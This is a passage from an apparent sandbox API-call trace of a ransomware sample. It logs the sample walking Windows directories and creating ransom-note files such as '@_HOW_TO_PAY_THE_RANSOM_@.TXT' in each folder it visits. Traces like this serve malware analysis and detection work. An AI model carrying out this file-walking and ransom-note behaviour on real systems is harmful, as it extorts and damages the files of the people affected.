hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0068.807] AreFileApisANSI () returned 1 [0068.807] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 44 [0068.807] CreateFileW (lpFileName="C:\\\\Boot\\zh-HK\\@_HOW_TO_DECRYPT_FILES_@.TXT" (normalized: "c:\\boot\\zh-hk\\@_how_to_decrypt_files_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.808] GetFileType (hFile=0x1f4) returned 0x1 [0068.808] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541630 | out: hHeap=0x510000) returned 1 [0068.809] FindFirstFileA (in: lpFileName="C:\\\\Boot\\zh-HK\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xa65ffca0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa65ffca0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3000201, cFileName=".", cAlternateFileName="")) returned 0x549750 [0068.809] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xa65ffca0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa65ffca0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="..", cAlternateFileName="")) returned 1 [0068.809] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa65d9b40, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa65d9b40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa65d9b40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0068.809] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa65ffca0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa65ffca0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa65ffca0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0068.809] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa65d9b40, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa65d9b40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa65ffca0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0068.809] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0068.809] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0068.809] FindClose (in: hFindFile=0x549750 | out: hFindFile=0x549750) returned 1 [0068.809] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0068.809] AreFileApisANSI () returned 1 [0068.809] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 44 [0068.809] CreateFileW (lpFileName="C:\\\\Boot\\zh-TW\\@_FILES_WERE_ENCRYPTED_@.TXT" (normalized: "c:\\boot\\zh-tw\\@_files_were_encrypted_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.810] GetFileType (hFile=0x1f4) returned 0x1 [0068.810] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541630 | out: hHeap=0x510000) returned 1 [0068.811] AreFileApisANSI () returned 1 [0068.811] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 45 [0068.811] CreateFileW (lpFileName="C:\\\\Boot\\zh-TW\\@_HOW_TO_PAY_THE_RANSOM_@.TXT" (normalized: "c:\\boot\\zh-tw\\@_how_to_pay_the_ransom_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.813] GetFileType (hFile=0x1f4) returned 0x1 [0068.813] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0068.814] AreFileApisANSI () returned 1 [0068.814] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 44 [0068.814] CreateFileW (lpFileName="C:\\\\Boot\\zh-TW\\@_HOW_TO_DECRYPT_FILES_@.TXT" (normalized: "c:\\boot\\zh-tw\\@_how_to_decrypt_files_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.814] GetFileType (hFile=0x1f4) returned 0x1 [0068.814] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541630 | out: hHeap=0x510000) returned 1 [0068.815] FindFirstFileA (in: lpFileName="C:\\\\Boot\\zh-TW\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xa65ffca0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa65ffca0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3000201, cFileName=".", cAlternateFileName="")) returned 0x549750 [0068.816] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xa65ffca0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa65ffca0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="..", cAlternateFileName="")) returned 1 [0068.816] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa65ffca0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa65ffca0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa65ffca0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0068.816] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa65ffca0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa65ffca0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa65ffca0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0068.816] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa65ffca0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa65ffca0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa65ffca0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0068.816] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0068.816] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0068.816] FindClose (in: hFindFile=0x549750 | out: hFindFile=0x549750) returned 1 [0068.816] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0068.816] FindClose (in: hFindFile=0x549710 | out: hFindFile=0x549710) returned 1 [0068.816] FindNextFileA (in: hFindFile=0x5496d0, lpFindFileData=0x4ada68 | out: lpFindFileData=0x4ada68*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x12, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0068.816] FindNextFileA (in: hFindFile=0x5496d0, lpFindFileData=0x4ada68 | out: lpFindFileData=0x4ada68*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac54a060, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac54a060, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac54a060, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x12, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0068.816] FindNextFileA (in: hFindFile=0x5496d0, lpFindFileData=0x4ada68 | out: lpFindFileData=0x4ada68*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x12, dwReserved1=0x0, cFileName="Config.Msi", cAlternateFileName="")) returned 1 [0068.816] AreFileApisANSI () returned 1 [0068.816] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 44 [0068.816] CreateFileW (lpFileName="C:\\\\Config.Msi\\@_FILES_WERE_ENCRYPTED_@.TXT" (normalized: "c:\\config.msi\\@_files_were_encrypted_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4acd78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0068.817] GetFileType (hFile=0x19c) returned 0x1 [0068.817] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541630 | out: hHeap=0x510000) returned 1 [0068.819] AreFileApisANSI () returned 1 [0068.819] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 45 [0068.819] CreateFileW (lpFileName="C:\\\\Config.Msi\\@_HOW_TO_PAY_THE_RANSOM_@.TXT" (normalized: "c:\\config.msi\\@_how_to_pay_the_ransom_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4acd78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0068.819] GetFileType (hFile=0x19c) returned 0x1 [0068.819] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0068.820] AreFileApisANSI () returned 1 [0068.820] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 44 [0068.820] CreateFileW (lpFileName="C:\\\\Config.Msi\\@_HOW_TO_DECRYPT_FILES_@.TXT" (normalized: "c:\\config.msi\\@_how_to_decrypt_files_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4acd78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0068.822] GetFileType (hFile=0x19c) returned 0x1 [0068.822] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541630 | out: hHeap=0x510000) returned 1 [0068.823] FindFirstFileA (in: lpFileName="C:\\\\Config.Msi\\*", lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xa6625e00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6625e00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x6000402, cFileName=".", cAlternateFileName="")) returned 0x549710 [0068.823] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xa6625e00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6625e00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x6000402, cFileName="..", cAlternateFileName="")) returned 1 [0068.823] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa65ffca0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa65ffca0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa65ffca0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x6000402, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0068.824] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa65ffca0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa65ffca0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6625e00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x6000402, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0068.824] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa65ffca0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa65ffca0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa65ffca0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x6000402, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0068.824] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa65ffca0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa65ffca0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa65ffca0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x6000402, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 0 [0068.824] FindClose (in: hFindFile=0x549710 | out: hFindFile=0x549710) returned 1 [0068.824] FindNextFileA (in: hFindFile=0x5496d0, lpFindFileData=0x4ada68 | out: lpFindFileData=0x4ada68*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0068.824] AreFileApisANSI () returned 1 [0068.824] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x524400, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 56 [0068.824] CreateFileW (lpFileName="C:\\\\Documents and Settings\\@_FILES_WERE_ENCRYPTED_@.TXT" (normalized: "c:\\documents and settings\\@_files_were_encrypted_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4acd78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0068.825] GetFileType (hFile=0x19c) returned 0x1 [0068.825] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543fe0 | out: hHeap=0x510000) returned 1 [0068.826] AreFileApisANSI () returned 1 [0068.826] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x524400, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 57 [0068.826] CreateFileW (lpFileName="C:\\\\Documents and Settings\\@_HOW_TO_PAY_THE_RANSOM_@.TXT" (normalized: "c:\\documents and settings\\@_how_to_pay_the_ransom_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4acd78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0068.827] GetFileType (hFile=0x19c) returned 0x1 [0068.827] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x51ff00 | out: hHeap=0x510000) returned 1 [0068.828] AreFileApisANSI () returned 1 [0068.828] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x524400, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 56 [0068.828] CreateFileW (lpFileName="C:\\\\Documents and Settings\\@_HOW_TO_DECRYPT_FILES_@.TXT" (normalized: "c:\\documents and settings\\@_how_to_decrypt_files_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4acd78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0068.828] GetFileType (hFile=0x19c) returned 0x1 [0068.828] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543fe0 | out: hHeap=0x510000) returned 1 [0068.829] FindFirstFileA (in: lpFileName="C:\\\\Documents and Settings\\*", lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa65ffca0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa65ffca0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa65ffca0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x6000402, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 0xffffffff [0068.830] FindNextFileA (in: hFindFile=0x5496d0, lpFindFileData=0x4ada68 | out: lpFindFileData=0x4ada68*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x813b7be0, ftLastWriteTime.dwHighDateTime=0x1d4d5ae, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0068.830] FindNextFileA (in: hFindFile=0x5496d0, lpFindFileData=0x4ada68 | out: lpFindFileData=0x4ada68*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0068.830] AreFileApisANSI () returned 1 [0068.830] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 42 [0068.830] CreateFileW (lpFileName="C:\\\\MSOCache\\@_FILES_WERE_ENCRYPTED_@.TXT" (normalized: "c:\\msocache\\@_files_were_encrypted_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4acd78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0068.830] GetFileType (hFile=0x19c) returned 0x1 [0068.830] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541630 | out: hHeap=0x510000) returned 1 [0068.831] AreFileApisANSI () returned 1 [0068.831] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 43 [0068.831] CreateFileW (lpFileName="C:\\\\MSOCache\\@_HOW_TO_PAY_THE_RANSOM_@.TXT" (normalized: "c:\\msocache\\@_how_to_pay_the_ransom_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4acd78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0068.839] GetFileType (hFile=0x19c) returned 0x1 [0068.839] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541630 | out: hHeap=0x510000) returned 1 [0068.840] AreFileApisANSI () returned 1 [0068.840] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 42 [0068.840] CreateFileW (lpFileName="C:\\\\MSOCache\\@_HOW_TO_DECRYPT_FILES_@.TXT" (normalized: 